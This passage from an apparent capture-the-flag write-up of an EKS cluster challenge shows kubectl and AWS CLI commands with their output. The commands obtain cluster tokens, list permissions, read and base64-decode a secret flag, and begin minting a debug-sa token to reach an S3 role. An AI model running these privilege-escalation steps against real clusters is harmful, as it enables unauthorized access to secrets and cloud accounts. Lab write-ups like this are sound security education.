style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"client.authentication.k8s.io/v1beta1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"spec\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {},\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"status\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"expirationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-03T03:38:10Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"token\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"k8s-aws-v1.aHR0cHM6Ly9zdHMudXMtd2VzdC0xLmFtYX\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis gets us a token, so let us try to use it:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TOKEN=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get-token\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --cluster-name\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e eks-challenge-cluster\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.status.token'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [debug-sa] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ePerfect! We have more access which includes fetching secrets:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"items\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"apiVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"v1\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"data\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"flag\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"d2l6X2Vrc19jaGFsbGVuZ2V7b25seV9hX3\u0026#x3C;*REDACTED*\u003e=\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Secret\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"creationTimestamp\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"2023-11-01T12:27:57Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"name\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"node-flag\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"namespace\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"challenge4\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"883574\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"uid\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"26461a29-ec72-40e1-adc7-99128ce664f7\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"type\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"Opaque\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"kind\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"List\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"metadata\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e \"resourceVersion\"\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eSo we just need to base64 decode that and we are on to the next challenge!\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$TOKEN\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e\"\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e secret\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -o\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e json\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e jq\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e '.items[0].data.flag'\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -r\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebase64\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -d\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e{only_a_real_pro_can_navigate_\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eChallenge 5\u003c/h1\u003e\n\u003cp\u003eThe hint:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003eYou've successfully transitioned from a limited Service Account to a Node\nService Account! Great job. Your next challenge is to move from the EKS to the\nAWS account.\n\nCan you acquire the AWS role of the s3access-sa service account, and get the flag?\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eSo let us start with checking what access we do have:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e whoami\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esystem:node:challenge:ip-192-168-21-50.us-west-1.compute.internal\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eCan we list buckets?\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e aws\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e s3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ls\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eAn\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e error\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e occurred\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (AccessDenied) when calling the ListBuckets operation: Access Denied\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNope! So we need to figure out how to become the \u003ccode\u003es3access-sa\u003c/code\u003e. What access do\nwe have?\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e auth\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e can-i\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003ewarning:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e the\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e may\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e be\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e incomplete:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e webhook\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e authorizer\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e does\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e support\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e user\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e rule\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e resolution\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eResources\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Non-Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e URLs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Resource\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Names\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Verbs\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts/token\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [debug-sa] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectaccessreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eselfsubjectrulesreviews.authorization.k8s.io\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [create]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epods\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003esecrets\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eserviceaccounts\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [] [get list]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/api] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/apis] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/healthz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/livez] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi/\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/openapi] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/readyz] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version/] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [/version] [] [get]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003epodsecuritypolicies.policy\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e [] [eks.privileged] [use]\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eHmm, being able to create tokens for the \u003ccode\u003edebug-sa\u003c/code\u003e resource definitely seems\nsuspicious. So let us see if that will get us anywhere:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e export\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e TOKEN=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e create\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e token\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e debug-sa\u003c/span\u003e\u003cspan 